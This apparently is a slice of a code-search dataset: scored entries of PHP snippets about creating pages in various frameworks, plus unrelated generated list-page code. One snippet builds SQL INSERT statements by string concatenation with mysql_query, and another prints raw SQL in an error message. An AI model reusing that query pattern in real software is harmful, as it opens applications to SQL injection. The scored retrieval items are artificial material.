bindEvents(\"jQuery('#{$this->_name}')\", $this, 'click');\r\n $output .= bindJSEvent(\"jQuery('#{$this->_name}_caption')\", $this, 'tap');\r\n $output .= bindJSEvent(\"jQuery('#{$this->_name}_caption')\", $this, 'taphold');\r\n $output .= bindJSEvent(\"jQuery('#{$this->_name}_caption')\", $this, 'swipe');\r\n $output .= bindJSEvent(\"jQuery('#{$this->_name}_caption')\", $this, 'swipeleft');\r\n $output .= bindJSEvent(\"jQuery('#{$this->_name}_caption')\", $this, 'swiperight');\r\n $output .= bindJSEvent(\"jQuery('#{$this->_name}_caption')\", $this, 'vmouseover');\r\n $output .= bindJSEvent(\"jQuery('#{$this->_name}_caption')\", $this, 'vmousedown');\r\n $output .= bindJSEvent(\"jQuery('#{$this->_name}_caption')\", $this, 'vmousemove');\r\n $output .= bindJSEvent(\"jQuery('#{$this->_name}_caption')\", $this, 'vmouseup');\r\n $output .= bindJSEvent(\"jQuery('#{$this->_name}_caption')\", $this, 'vclick');\r\n $output .= bindJSEvent(\"jQuery('#{$this->_name}_caption')\", $this, 'vmousecancel');\r\n\r\n return $output;\r\n }", "title": "" }, { "docid": "4bf686b3b4a2d786c4e83eaf333625b9", "score": "0.6747049", "text": "public function create()\n {\n if (!Auth()->user()->can('page.create')) {\n abort(401);\n }\n return view('admin.page.create');\n }", "title": "" }, { "docid": "eae82ce5f8f3ff2b8cec6fbd19accb9f", "score": "0.6745937", "text": "public function actionCreate()\n {\n $model = new Pages();\n $posts = $this->getPostsArray();\n\n if ($model->load(Yii::$app->request->post()) && $model->save()) {\n return $this->redirect(['view', 'id' => $model->id]);\n } else {\n return $this->render('create', [\n 'model' => $model,\n 'posts' => $posts,\n ]);\n }\n }", "title": "" }, { "docid": "e7a8c8a6e8e00f7c301d9b7c2db7a356", "score": "0.673097", "text": "function pagecreate()\r\n {\r\n $output = \"\";\r\n $output .= bindEvents(\"jQuery('#$this->_name')\", $this, 'click');\r\n $output .= bindEvents(\"jQuery('#$this->_name')\", $this, 'dblclick');\r\n $output .= bindJSEvent(\"jQuery('#$this->_name')\", $this, 'tap');\r\n $output .= bindJSEvent(\"jQuery('#$this->_name')\", $this, 'taphold');\r\n $output .= bindJSEvent(\"jQuery('#$this->_name')\", $this, 'swipe');\r\n $output .= bindJSEvent(\"jQuery('#$this->_name')\", $this, 'swipeleft');\r\n $output .= bindJSEvent(\"jQuery('#$this->_name')\", $this, 'swiperight');\r\n $output .= bindJSEvent(\"jQuery('#$this->_name')\", $this, 'vmouseover');\r\n $output .= bindJSEvent(\"jQuery('#$this->_name')\", $this, 'vmousedown');\r\n $output .= bindJSEvent(\"jQuery('#$this->_name')\", $this, 'vmousemove');\r\n $output .= bindJSEvent(\"jQuery('#$this->_name')\", $this, 'vmouseup');\r\n $output .= bindJSEvent(\"jQuery('#$this->_name')\", $this, 'vclick');\r\n $output .= bindJSEvent(\"jQuery('#$this->_name')\", $this, 'vmousecancel');\r\n return $output;\r\n }", "title": "" }, { "docid": "97560a14102dd315e105bc4dcfceeec5", "score": "0.6728053", "text": "function create_profile_page() {\r\n if (!get_option('upme_profile_page')) {\r\n $new = array(\r\n 'post_title' => __('View Profile', 'upme'),\r\n 'post_type' => 'page',\r\n 'post_name' => 'profile',\r\n 'post_content' => '[upme]',\r\n 'post_status' => 'publish',\r\n 'comment_status' => 'closed',\r\n 'ping_status' => 'closed',\r\n 'post_author' => 1\r\n );\r\n $new_page = wp_insert_post($new, FALSE);\r\n\r\n\r\n if (isset($new_page)) {\r\n\r\n $current_option = get_option('upme_options');\r\n $page_data = get_post($new_page);\r\n\r\n $current_option['edit_profile_redirect'] = '';\r\n if (isset($page_data->guid))\r\n $current_option['edit_profile_redirect'] = $page_data->guid;\r\n\r\n update_option('upme_options', $current_option);\r\n update_option('upme_profile_page', $new_page);\r\n }\r\n }\r\n }", "title": "" }, { "docid": "6c1e9ff78adb5d9ad6fee42c193d0241", "score": "0.6727834", "text": "function create_page()\n\t{\n\t // a loop through all records. Here the first Page Header and the last Page footer ist printed.\n\t // executes the select for data-source.\n\t $sql = $this->get_select();\n\t\t$sql = str_replace(\"0_\", TB_PREF, $sql);\n\n\t $this->res = db_query($sql, \"EXIT3 !!!\");\n\t if (db_num_rows($this->res) == 0)\n\t {\n\t display_error(\"$sql No Data Records found !!!\");\n\t exit;\n\t }\n\t $this->f = db_fetch($this->res);\n\t $this->y_pos = $this->get_height() - $this->y_top;\n\t if ($this->is_set_group())\n\t { \t// work with group\n\t $this->set_group_new(trim($this->f[$this->get_group()]));\n\t }\n\t \t// new page and page header\n\t \tif (!empty($this->rh_items))\n\t \t{\n\t \t$this->do_print(RH);\n\t }\n\t $this->do_print(PH);\n\t if (!empty($this->de_items))\n\t {\n\t \t$this->do_print(DE); // most work is done here\n\t }\n\t if (!empty($this->gf_items))\n\t {\n\t \t$this->do_print(GF);\n\t }\n\t if (!empty($this->pf_items))\n\t {\n\t \t$this->do_print(PF);\n\t }\n\t if (!empty($this->rf_items))\n\t {\n\t \t$this->do_print(RF);\n\t }\n\t}", "title": "" }, { "docid": "f11493e8b4ddb9faa37e87abf9e89e4c", "score": "0.6718042", "text": "public function create()\n {\n return View::make('pages.create');\n }", "title": "" }, { "docid": "fdafd3b3b17a67696be49ca79fe90368", "score": "0.6714463", "text": "function AddNewPage() \n\t{\n\t\tif($this->isExistPageName())\n\t\t\treturn \"Exists\";\n\t\telse\n\t\t{\n\t\t\t$strSql=\"INSERT INTO `page_info` (`ShowInTopMenu` , `ShowInLeftMenu`, `ShowInFooter`, `IsActive`,`PageRank`,`PageUrl`,`IsStartup`,PageType,ParentId)\n\t\t\tVALUES (\".$this->m_intShowTopMenu.\",\".$this->m_intShowLeftMenu.\",\".$this->m_intShowFooter.\",\".$this->m_intIsActive.\",\".$this->m_nRank.\",'\".$this->m_strPageUrl.\"','\".$this->m_nIsStartup.\"',\".$this->m_intPageType.\",\".$this->m_intParentId.\")\";\n\t\t\t//echo $strSql;exit;\n\t\t\tmysql_query($strSql);\n\t\t\tif(mysql_affected_rows()>0)\n\t\t\t{\n\t\t\t\t$this->m_intPageId=mysql_insert_id();\n\t\t\t\t$strSql=\"INSERT INTO `page_desc` (`fkPageID`,`fkLangID` , `PageName` , `PageTitle` , `MetatagsDesc` , `MetatagsKW` , `PageContents`)\n\t\t\t\tVALUES (\".$this->m_intPageId.\",\".$this->m_intLangId.\",'\".$this->m_strPageName.\"','\".$this->m_strPageTitle.\"','\".$this->m_strMetaTagsDesc.\"','\".$this->m_strMetaTagsKW.\"','\".$this->m_strPageContents.\"')\";\n\t\t\t\t$intCheck=mysql_query($strSql);\n\t\t\t\treturn TRUE;\n\t\t\t}\n\t\t\telse\n\t\t\t\treturn FALSE;\n\t\t}\n\t}", "title": "" }, { "docid": "784e3cbe51b197cfcb9eaffb707f241f", "score": "0.67119586", "text": "public function create()\n {\n // Create a new page\n $page = new Page();\n $page->published_at = null;\n $page->keywords = null;\n\n return view('backend.page.create', compact('page'));\n }", "title": "" } ]
605cff8d4693eeb6e79224959cd94aee
The "booted" method of the model.
[ { "docid": "c1d41e1243284abff646fe34a1fce057", "score": "0.0", "text": "protected static function boot()\n {\n parent::boot();\n\n if (!backpack_user()->hasRole(\"developer\")){\n\n static::addGlobalScope('protectDeveloper', function (Builder $builder) {\n $builder->where('name', \"!=\" ,\"developer\");\n });\n }\n\n }", "title": "" } ]
[ { "docid": "911cf46321a08509f91e0f34ac09d3e7", "score": "0.778049", "text": "protected function booted()\n {\n //\n }", "title": "" }, { "docid": "343cc07783ff7f5febf5765abbd9f74e", "score": "0.76181376", "text": "protected static function booted()\n {\n //\n }", "title": "" }, { "docid": "3d41ef7b8087aa62ee08c2f208b25e63", "score": "0.7485237", "text": "protected function booting()\n {\n //\n }", "title": "" }, { "docid": "521e4f8c28c4a3596a4d553a9632113a", "score": "0.74482244", "text": "public static function booted()\n {\n }", "title": "" }, { "docid": "1ab3e62d666aaa4067d0d8b00ce6dbc5", "score": "0.7426702", "text": "public function boot(): void\n {\n if (!$this->booted) {\n $this->booted = true;\n\n $this->ensureModelExists();\n }\n }", "title": "" }, { "docid": "77ef33a646b6d9f01dc938520ec5a207", "score": "0.731309", "text": "protected static function booting()\n {\n //\n }", "title": "" }, { "docid": "a073355c4edc1e3e93612920bf4c73c8", "score": "0.71859735", "text": "protected function doBoot()\n {\n }", "title": "" }, { "docid": "a99942f45256a6c9d7ab3209e91aacf9", "score": "0.7175623", "text": "public function boot() {}", "title": "" }, { "docid": "e487ac65958e2155d61f6b917f185d2c", "score": "0.71706986", "text": "public function boot()\n {\n //\n\n parent::boot();\n }", "title": "" }, { "docid": "e487ac65958e2155d61f6b917f185d2c", "score": "0.71706986", "text": "public function boot()\n {\n //\n\n parent::boot();\n }", "title": "" }, { "docid": "e487ac65958e2155d61f6b917f185d2c", "score": "0.71706986", "text": "public function boot()\n {\n //\n\n parent::boot();\n }", "title": "" }, { "docid": "e487ac65958e2155d61f6b917f185d2c", "score": "0.71706986", "text": "public function boot()\n {\n //\n\n parent::boot();\n }", "title": "" }, { "docid": "e487ac65958e2155d61f6b917f185d2c", "score": "0.71706986", "text": "public function boot()\n {\n //\n\n parent::boot();\n }", "title": "" }, { "docid": "e487ac65958e2155d61f6b917f185d2c", "score": "0.71706986", "text": "public function boot()\n {\n //\n\n parent::boot();\n }", "title": "" }, { "docid": "e487ac65958e2155d61f6b917f185d2c", "score": "0.71706986", "text": "public function boot()\n {\n //\n\n parent::boot();\n }", "title": "" }, { "docid": "e487ac65958e2155d61f6b917f185d2c", "score": "0.71706986", "text": "public function boot()\n {\n //\n\n parent::boot();\n }", "title": "" }, { "docid": "e487ac65958e2155d61f6b917f185d2c", "score": "0.71706986", "text": "public function boot()\n {\n //\n\n parent::boot();\n }", "title": "" }, { "docid": "e487ac65958e2155d61f6b917f185d2c", "score": "0.71706986", "text": "public function boot()\n {\n //\n\n parent::boot();\n }", "title": "" }, { "docid": "e487ac65958e2155d61f6b917f185d2c", "score": "0.71706986", "text": "public function boot()\n {\n //\n\n parent::boot();\n }", "title": "" }, { "docid": "e487ac65958e2155d61f6b917f185d2c", "score": "0.71706986", "text": "public function boot()\n {\n //\n\n parent::boot();\n }", "title": "" }, { "docid": "e487ac65958e2155d61f6b917f185d2c", "score": "0.71706986", "text": "public function boot()\n {\n //\n\n parent::boot();\n }", "title": "" }, { "docid": "e487ac65958e2155d61f6b917f185d2c", "score": "0.71706986", "text": "public function boot()\n {\n //\n\n parent::boot();\n }", "title": "" }, { "docid": "f9af4720fdfd0f757da2598ba70fa31c", "score": "0.71602666", "text": "public function boot(): void\n {\n parent::boot();\n\n //\n }", "title": "" }, { "docid": "2ef8fa7752e393dd08d81c56e61bf77b", "score": "0.7152197", "text": "public function boot()\n {\n parent::boot();\n\n //\n }", "title": "" }, { "docid": "2ef8fa7752e393dd08d81c56e61bf77b", "score": "0.7152197", "text": "public function boot()\n {\n parent::boot();\n\n //\n }", "title": "" }, { "docid": "2ef8fa7752e393dd08d81c56e61bf77b", "score": "0.7152197", "text": "public function boot()\n {\n parent::boot();\n\n //\n }", "title": "" }, { "docid": "2ef8fa7752e393dd08d81c56e61bf77b", "score": "0.7152197", "text": "public function boot()\n {\n parent::boot();\n\n //\n }", "title": "" }, { "docid": "2ef8fa7752e393dd08d81c56e61bf77b", "score": "0.7152197", "text": "public function boot()\n {\n parent::boot();\n\n //\n }", "title": "" }, { "docid": "2ef8fa7752e393dd08d81c56e61bf77b", "score": "0.7152197", "text": "public function boot()\n {\n parent::boot();\n\n //\n }", "title": "" }, { "docid": "2ef8fa7752e393dd08d81c56e61bf77b", "score": "0.7152197", "text": "public function boot()\n {\n parent::boot();\n\n //\n }", "title": "" }, { "docid": "2ef8fa7752e393dd08d81c56e61bf77b", "score": "0.7152197", "text": "public function boot()\n {\n parent::boot();\n\n //\n }", "title": "" }, { "docid": "2ef8fa7752e393dd08d81c56e61bf77b", "score": "0.7152197", "text": "public function boot()\n {\n parent::boot();\n\n //\n }", "title": "" }, { "docid": "2ef8fa7752e393dd08d81c56e61bf77b", "score": "0.7152197", "text": "public function boot()\n {\n parent::boot();\n\n //\n }", "title": "" }, { "docid": "2ef8fa7752e393dd08d81c56e61bf77b", "score": "0.7152197", "text": "public function boot()\n {\n parent::boot();\n\n //\n }", "title": "" }, { "docid": "2ef8fa7752e393dd08d81c56e61bf77b", "score": "0.7152197", "text": "public function boot()\n {\n parent::boot();\n\n //\n }", "title": "" }, { "docid": "2ef8fa7752e393dd08d81c56e61bf77b", "score": "0.7152197", "text": "public function boot()\n {\n parent::boot();\n\n //\n }", "title": "" }, { "docid": "2ef8fa7752e393dd08d81c56e61bf77b", "score": "0.7152197", "text": "public function boot()\n {\n parent::boot();\n\n //\n }", "title": "" }, { "docid": "2ef8fa7752e393dd08d81c56e61bf77b", "score": "0.7152197", "text": "public function boot()\n {\n parent::boot();\n\n //\n }", "title": "" }, { "docid": "2ef8fa7752e393dd08d81c56e61bf77b", "score": "0.7152197", "text": "public function boot()\n {\n parent::boot();\n\n //\n }", "title": "" }, { "docid": "2ef8fa7752e393dd08d81c56e61bf77b", "score": "0.7152197", "text": "public function boot()\n {\n parent::boot();\n\n //\n }", "title": "" }, { "docid": "2ef8fa7752e393dd08d81c56e61bf77b", "score": "0.7152197", "text": "public function boot()\n {\n parent::boot();\n\n //\n }", "title": "" }, { "docid": "2ef8fa7752e393dd08d81c56e61bf77b", "score": "0.7152197", "text": "public function boot()\n {\n parent::boot();\n\n //\n }", "title": "" }, { "docid": "2ef8fa7752e393dd08d81c56e61bf77b", "score": "0.7152197", "text": "public function boot()\n {\n parent::boot();\n\n //\n }", "title": "" }, { "docid": "2ef8fa7752e393dd08d81c56e61bf77b", "score": "0.7152197", "text": "public function boot()\n {\n parent::boot();\n\n //\n }", "title": "" }, { "docid": "2ef8fa7752e393dd08d81c56e61bf77b", "score": "0.7152197", "text": "public function boot()\n {\n parent::boot();\n\n //\n }", "title": "" }, { "docid": "2ef8fa7752e393dd08d81c56e61bf77b", "score": "0.7152197", "text": "public function boot()\n {\n parent::boot();\n\n //\n }", "title": "" }, { "docid": "2ef8fa7752e393dd08d81c56e61bf77b", "score": "0.7152197", "text": "public function boot()\n {\n parent::boot();\n\n //\n }", "title": "" }, { "docid": "2ef8fa7752e393dd08d81c56e61bf77b", "score": "0.7152197", "text": "public function boot()\n {\n parent::boot();\n\n //\n }", "title": "" }, { "docid": "2ef8fa7752e393dd08d81c56e61bf77b", "score": "0.7152197", "text": "public function boot()\n {\n parent::boot();\n\n //\n }", "title": "" }, { "docid": "2ef8fa7752e393dd08d81c56e61bf77b", "score": "0.7152197", "text": "public function boot()\n {\n parent::boot();\n\n //\n }", "title": "" }, { "docid": "2ef8fa7752e393dd08d81c56e61bf77b", "score": "0.7152197", "text": "public function boot()\n {\n parent::boot();\n\n //\n }", "title": "" }, { "docid": "2ef8fa7752e393dd08d81c56e61bf77b", "score": "0.7152197", "text": "public function boot()\n {\n parent::boot();\n\n //\n }", "title": "" }, { "docid": "2ef8fa7752e393dd08d81c56e61bf77b", "score": "0.7152197", "text": "public function boot()\n {\n parent::boot();\n\n //\n }", "title": "" }, { "docid": "2ef8fa7752e393dd08d81c56e61bf77b", "score": "0.7152197", "text": "public function boot()\n {\n parent::boot();\n\n //\n }", "title": "" }, { "docid": "2ef8fa7752e393dd08d81c56e61bf77b", "score": "0.7152197", "text": "public function boot()\n {\n parent::boot();\n\n //\n }", "title": "" }, { "docid": "2ef8fa7752e393dd08d81c56e61bf77b", "score": "0.7152197", "text": "public function boot()\n {\n parent::boot();\n\n //\n }", "title": "" }, { "docid": "2ef8fa7752e393dd08d81c56e61bf77b", "score": "0.7152197", "text": "public function boot()\n {\n parent::boot();\n\n //\n }", "title": "" }, { "docid": "2ef8fa7752e393dd08d81c56e61bf77b", "score": "0.7152197", "text": "public function boot()\n {\n parent::boot();\n\n //\n }", "title": "" }, { "docid": "2ef8fa7752e393dd08d81c56e61bf77b", "score": "0.7152197", "text": "public function boot()\n {\n parent::boot();\n\n //\n }", "title": "" }, { "docid": "2ef8fa7752e393dd08d81c56e61bf77b", "score": "0.7152197", "text": "public function boot()\n {\n parent::boot();\n\n //\n }", "title": "" }, { "docid": "2ef8fa7752e393dd08d81c56e61bf77b", "score": "0.7152197", "text": "public function boot()\n {\n parent::boot();\n\n //\n }", "title": "" }, { "docid": "2ef8fa7752e393dd08d81c56e61bf77b", "score": "0.7152197", "text": "public function boot()\n {\n parent::boot();\n\n //\n }", "title": "" }, { "docid": "2ef8fa7752e393dd08d81c56e61bf77b", "score": "0.7152197", "text": "public function boot()\n {\n parent::boot();\n\n //\n }", "title": "" }, { "docid": "2ef8fa7752e393dd08d81c56e61bf77b", "score": "0.7152197", "text": "public function boot()\n {\n parent::boot();\n\n //\n }", "title": "" }, { "docid": "2ef8fa7752e393dd08d81c56e61bf77b", "score": "0.7152197", "text": "public function boot()\n {\n parent::boot();\n\n //\n }", "title": "" }, { "docid": "2ef8fa7752e393dd08d81c56e61bf77b", "score": "0.7152197", "text": "public function boot()\n {\n parent::boot();\n\n //\n }", "title": "" }, { "docid": "2ef8fa7752e393dd08d81c56e61bf77b", "score": "0.7152197", "text": "public function boot()\n {\n parent::boot();\n\n //\n }", "title": "" }, { "docid": "2ef8fa7752e393dd08d81c56e61bf77b", "score": "0.7152197", "text": "public function boot()\n {\n parent::boot();\n\n //\n }", "title": "" }, { "docid": "2ef8fa7752e393dd08d81c56e61bf77b", "score": "0.7152197", "text": "public function boot()\n {\n parent::boot();\n\n //\n }", "title": "" }, { "docid": "2ef8fa7752e393dd08d81c56e61bf77b", "score": "0.7152197", "text": "public function boot()\n {\n parent::boot();\n\n //\n }", "title": "" }, { "docid": "2ef8fa7752e393dd08d81c56e61bf77b", "score": "0.7152197", "text": "public function boot()\n {\n parent::boot();\n\n //\n }", "title": "" }, { "docid": "2ef8fa7752e393dd08d81c56e61bf77b", "score": "0.7152197", "text": "public function boot()\n {\n parent::boot();\n\n //\n }", "title": "" }, { "docid": "2ef8fa7752e393dd08d81c56e61bf77b", "score": "0.7152197", "text": "public function boot()\n {\n parent::boot();\n\n //\n }", "title": "" }, { "docid": "2ef8fa7752e393dd08d81c56e61bf77b", "score": "0.7152197", "text": "public function boot()\n {\n parent::boot();\n\n //\n }", "title": "" }, { "docid": "2ef8fa7752e393dd08d81c56e61bf77b", "score": "0.7152197", "text": "public function boot()\n {\n parent::boot();\n\n //\n }", "title": "" }, { "docid": "2ef8fa7752e393dd08d81c56e61bf77b", "score": "0.7152197", "text": "public function boot()\n {\n parent::boot();\n\n //\n }", "title": "" }, { "docid": "2ef8fa7752e393dd08d81c56e61bf77b", "score": "0.7152197", "text": "public function boot()\n {\n parent::boot();\n\n //\n }", "title": "" }, { "docid": "2ef8fa7752e393dd08d81c56e61bf77b", "score": "0.7152197", "text": "public function boot()\n {\n parent::boot();\n\n //\n }", "title": "" }, { "docid": "2ef8fa7752e393dd08d81c56e61bf77b", "score": "0.7152197", "text": "public function boot()\n {\n parent::boot();\n\n //\n }", "title": "" }, { "docid": "2ef8fa7752e393dd08d81c56e61bf77b", "score": "0.7152197", "text": "public function boot()\n {\n parent::boot();\n\n //\n }", "title": "" }, { "docid": "2ef8fa7752e393dd08d81c56e61bf77b", "score": "0.7152197", "text": "public function boot()\n {\n parent::boot();\n\n //\n }", "title": "" }, { "docid": "2ef8fa7752e393dd08d81c56e61bf77b", "score": "0.7152197", "text": "public function boot()\n {\n parent::boot();\n\n //\n }", "title": "" }, { "docid": "2ef8fa7752e393dd08d81c56e61bf77b", "score": "0.7152197", "text": "public function boot()\n {\n parent::boot();\n\n //\n }", "title": "" }, { "docid": "2ef8fa7752e393dd08d81c56e61bf77b", "score": "0.7152197", "text": "public function boot()\n {\n parent::boot();\n\n //\n }", "title": "" }, { "docid": "d1010e80424bb3067a70a8c59a1c8749", "score": "0.71159655", "text": "public function boot()\r\n {\r\n parent::boot();\r\n }", "title": "" }, { "docid": "888b5976e2d43ccc686395e2e181a4de", "score": "0.70888054", "text": "protected static function boot()\n {\n parent::boot();\n\n //\n }", "title": "" }, { "docid": "729f4e928b3dfb2393f7f54482800b84", "score": "0.70871", "text": "public function boot()\n {\n // ...\n parent::boot();\n // ...\n }", "title": "" }, { "docid": "f2133971fe1eeaa1464f4683d2856adb", "score": "0.7063503", "text": "public function boot()\n\t{\n \n\t}", "title": "" }, { "docid": "07e80a5a3538e5d25648e2d513882cfb", "score": "0.70506066", "text": "public function boot()\n\t{\n\n\t}", "title": "" }, { "docid": "b8d9401bd050245a8c6b056842e2f3a9", "score": "0.7044706", "text": "public function boot()\n {\n parent::boot();\n }", "title": "" }, { "docid": "b8d9401bd050245a8c6b056842e2f3a9", "score": "0.7044706", "text": "public function boot()\n {\n parent::boot();\n }", "title": "" }, { "docid": "b8d9401bd050245a8c6b056842e2f3a9", "score": "0.7044706", "text": "public function boot()\n {\n parent::boot();\n }", "title": "" }, { "docid": "b8d9401bd050245a8c6b056842e2f3a9", "score": "0.7044706", "text": "public function boot()\n {\n parent::boot();\n }", "title": "" }, { "docid": "b8d9401bd050245a8c6b056842e2f3a9", "score": "0.7044706", "text": "public function boot()\n {\n parent::boot();\n }", "title": "" }, { "docid": "b8d9401bd050245a8c6b056842e2f3a9", "score": "0.7044706", "text": "public function boot()\n {\n parent::boot();\n }", "title": "" }, { "docid": "b8d9401bd050245a8c6b056842e2f3a9", "score": "0.7044706", "text": "public function boot()\n {\n parent::boot();\n }", "title": "" }, { "docid": "b8d9401bd050245a8c6b056842e2f3a9", "score": "0.7044706", "text": "public function boot()\n {\n parent::boot();\n }", "title": "" }, { "docid": "b8d9401bd050245a8c6b056842e2f3a9", "score": "0.7044706", "text": "public function boot()\n {\n parent::boot();\n }", "title": "" }, { "docid": "b8d9401bd050245a8c6b056842e2f3a9", "score": "0.7044706", "text": "public function boot()\n {\n parent::boot();\n }", "title": "" }, { "docid": "b8d9401bd050245a8c6b056842e2f3a9", "score": "0.7044706", "text": "public function boot()\n {\n parent::boot();\n }", "title": "" }, { "docid": "b8d9401bd050245a8c6b056842e2f3a9", "score": "0.7044706", "text": "public function boot()\n {\n parent::boot();\n }", "title": "" } ]
7e3364a1b13071d79ccb8ce0bd4d1787
/ nothing to do here only called before displaying values on FE
[ { "docid": "f0c545e18323128359de258833d193be", "score": "0.0", "text": "public function transform(string $value): string\n {\n return $value;\n }", "title": "" } ]
[ { "docid": "2c853ecc0c3cb09542931a9be21ace86", "score": "0.64710224", "text": "public function preDisplay()\n {}", "title": "" }, { "docid": "d0ab127ce6e77a508cbce9435895c450", "score": "0.6331013", "text": "protected function populate_value()\n {\n }", "title": "" }, { "docid": "cddbef070245e017bd081d27cbbe8cb5", "score": "0.62190676", "text": "public function display_rows_or_placeholder()\n {\n }", "title": "" }, { "docid": "734a81d27fcea1136ca0cfd940f94906", "score": "0.618791", "text": "protected function htmlRenderValue(): void\n {\n if ($this->entityField !== null && !$this->entityField->getField()->required && !$this->multiple) {\n $this->_tItem->set('value', '');\n $this->_tItem->set('title', $this->empty);\n $this->template->dangerouslyAppendHtml('Item', $this->_tItem->renderToHtml());\n }\n\n // model set? use this, else values property\n if ($this->model !== null) {\n if ($this->renderRowFunction) {\n foreach ($this->model as $row) {\n $this->_addCallBackRow($row);\n }\n } else {\n // for standard model rendering, only load ID and title field\n $this->model->setOnlyFields([$this->model->titleField, $this->model->idField]);\n $this->_renderItemsForModel();\n }\n } else {\n if ($this->renderRowFunction) {\n foreach ($this->values as $key => $value) {\n $this->_addCallBackRow($value, $key);\n }\n } else {\n $this->_renderItemsForValues();\n }\n }\n }", "title": "" }, { "docid": "672882e5f5fa98be57f0276fe37652ac", "score": "0.6152117", "text": "function RenderRow() {\n\t\tglobal $Security, $Language, $gsLanguage;\n\n\t\t// Initialize URLs\n\t\t// Convert decimal values if posted back\n\n\t\tif ($this->plafond->FormValue == $this->plafond->CurrentValue && is_numeric(ew_StrToFloat($this->plafond->CurrentValue)))\n\t\t\t$this->plafond->CurrentValue = ew_StrToFloat($this->plafond->CurrentValue);\n\n\t\t// Convert decimal values if posted back\n\t\tif ($this->angsuranpokok->FormValue == $this->angsuranpokok->CurrentValue && is_numeric(ew_StrToFloat($this->angsuranpokok->CurrentValue)))\n\t\t\t$this->angsuranpokok->CurrentValue = ew_StrToFloat($this->angsuranpokok->CurrentValue);\n\n\t\t// Convert decimal values if posted back\n\t\tif ($this->angsuranpokokauto->FormValue == $this->angsuranpokokauto->CurrentValue && is_numeric(ew_StrToFloat($this->angsuranpokokauto->CurrentValue)))\n\t\t\t$this->angsuranpokokauto->CurrentValue = ew_StrToFloat($this->angsuranpokokauto->CurrentValue);\n\n\t\t// Convert decimal values if posted back\n\t\tif ($this->angsuranbunga->FormValue == $this->angsuranbunga->CurrentValue && is_numeric(ew_StrToFloat($this->angsuranbunga->CurrentValue)))\n\t\t\t$this->angsuranbunga->CurrentValue = ew_StrToFloat($this->angsuranbunga->CurrentValue);\n\n\t\t// Convert decimal values if posted back\n\t\tif ($this->angsuranbungaauto->FormValue == $this->angsuranbungaauto->CurrentValue && is_numeric(ew_StrToFloat($this->angsuranbungaauto->CurrentValue)))\n\t\t\t$this->angsuranbungaauto->CurrentValue = ew_StrToFloat($this->angsuranbungaauto->CurrentValue);\n\n\t\t// Convert decimal values if posted back\n\t\tif ($this->denda->FormValue == $this->denda->CurrentValue && is_numeric(ew_StrToFloat($this->denda->CurrentValue)))\n\t\t\t$this->denda->CurrentValue = ew_StrToFloat($this->denda->CurrentValue);\n\n\t\t// Convert decimal values if posted back\n\t\tif ($this->dendapersen->FormValue == $this->dendapersen->CurrentValue && is_numeric(ew_StrToFloat($this->dendapersen->CurrentValue)))\n\t\t\t$this->dendapersen->CurrentValue = ew_StrToFloat($this->dendapersen->CurrentValue);\n\n\t\t// Convert decimal values if posted back\n\t\tif ($this->totalangsuran->FormValue == $this->totalangsuran->CurrentValue && is_numeric(ew_StrToFloat($this->totalangsuran->CurrentValue)))\n\t\t\t$this->totalangsuran->CurrentValue = ew_StrToFloat($this->totalangsuran->CurrentValue);\n\n\t\t// Convert decimal values if posted back\n\t\tif ($this->totalangsuranauto->FormValue == $this->totalangsuranauto->CurrentValue && is_numeric(ew_StrToFloat($this->totalangsuranauto->CurrentValue)))\n\t\t\t$this->totalangsuranauto->CurrentValue = ew_StrToFloat($this->totalangsuranauto->CurrentValue);\n\n\t\t// Convert decimal values if posted back\n\t\tif ($this->sisaangsuran->FormValue == $this->sisaangsuran->CurrentValue && is_numeric(ew_StrToFloat($this->sisaangsuran->CurrentValue)))\n\t\t\t$this->sisaangsuran->CurrentValue = ew_StrToFloat($this->sisaangsuran->CurrentValue);\n\n\t\t// Convert decimal values if posted back\n\t\tif ($this->sisaangsuranauto->FormValue == $this->sisaangsuranauto->CurrentValue && is_numeric(ew_StrToFloat($this->sisaangsuranauto->CurrentValue)))\n\t\t\t$this->sisaangsuranauto->CurrentValue = ew_StrToFloat($this->sisaangsuranauto->CurrentValue);\n\n\t\t// Convert decimal values if posted back\n\t\tif ($this->saldotitipan->FormValue == $this->saldotitipan->CurrentValue && is_numeric(ew_StrToFloat($this->saldotitipan->CurrentValue)))\n\t\t\t$this->saldotitipan->CurrentValue = ew_StrToFloat($this->saldotitipan->CurrentValue);\n\n\t\t// Convert decimal values if posted back\n\t\tif ($this->saldotitipansisa->FormValue == $this->saldotitipansisa->CurrentValue && is_numeric(ew_StrToFloat($this->saldotitipansisa->CurrentValue)))\n\t\t\t$this->saldotitipansisa->CurrentValue = ew_StrToFloat($this->saldotitipansisa->CurrentValue);\n\n\t\t// Convert decimal values if posted back\n\t\tif ($this->bayarpokok->FormValue == $this->bayarpokok->CurrentValue && is_numeric(ew_StrToFloat($this->bayarpokok->CurrentValue)))\n\t\t\t$this->bayarpokok->CurrentValue = ew_StrToFloat($this->bayarpokok->CurrentValue);\n\n\t\t// Convert decimal values if posted back\n\t\tif ($this->bayarpokokauto->FormValue == $this->bayarpokokauto->CurrentValue && is_numeric(ew_StrToFloat($this->bayarpokokauto->CurrentValue)))\n\t\t\t$this->bayarpokokauto->CurrentValue = ew_StrToFloat($this->bayarpokokauto->CurrentValue);\n\n\t\t// Convert decimal values if posted back\n\t\tif ($this->bayarbunga->FormValue == $this->bayarbunga->CurrentValue && is_numeric(ew_StrToFloat($this->bayarbunga->CurrentValue)))\n\t\t\t$this->bayarbunga->CurrentValue = ew_StrToFloat($this->bayarbunga->CurrentValue);\n\n\t\t// Convert decimal values if posted back\n\t\tif ($this->bayarbungaauto->FormValue == $this->bayarbungaauto->CurrentValue && is_numeric(ew_StrToFloat($this->bayarbungaauto->CurrentValue)))\n\t\t\t$this->bayarbungaauto->CurrentValue = ew_StrToFloat($this->bayarbungaauto->CurrentValue);\n\n\t\t// Convert decimal values if posted back\n\t\tif ($this->bayardenda->FormValue == $this->bayardenda->CurrentValue && is_numeric(ew_StrToFloat($this->bayardenda->CurrentValue)))\n\t\t\t$this->bayardenda->CurrentValue = ew_StrToFloat($this->bayardenda->CurrentValue);\n\n\t\t// Convert decimal values if posted back\n\t\tif ($this->bayardendaauto->FormValue == $this->bayardendaauto->CurrentValue && is_numeric(ew_StrToFloat($this->bayardendaauto->CurrentValue)))\n\t\t\t$this->bayardendaauto->CurrentValue = ew_StrToFloat($this->bayardendaauto->CurrentValue);\n\n\t\t// Convert decimal values if posted back\n\t\tif ($this->bayartitipan->FormValue == $this->bayartitipan->CurrentValue && is_numeric(ew_StrToFloat($this->bayartitipan->CurrentValue)))\n\t\t\t$this->bayartitipan->CurrentValue = ew_StrToFloat($this->bayartitipan->CurrentValue);\n\n\t\t// 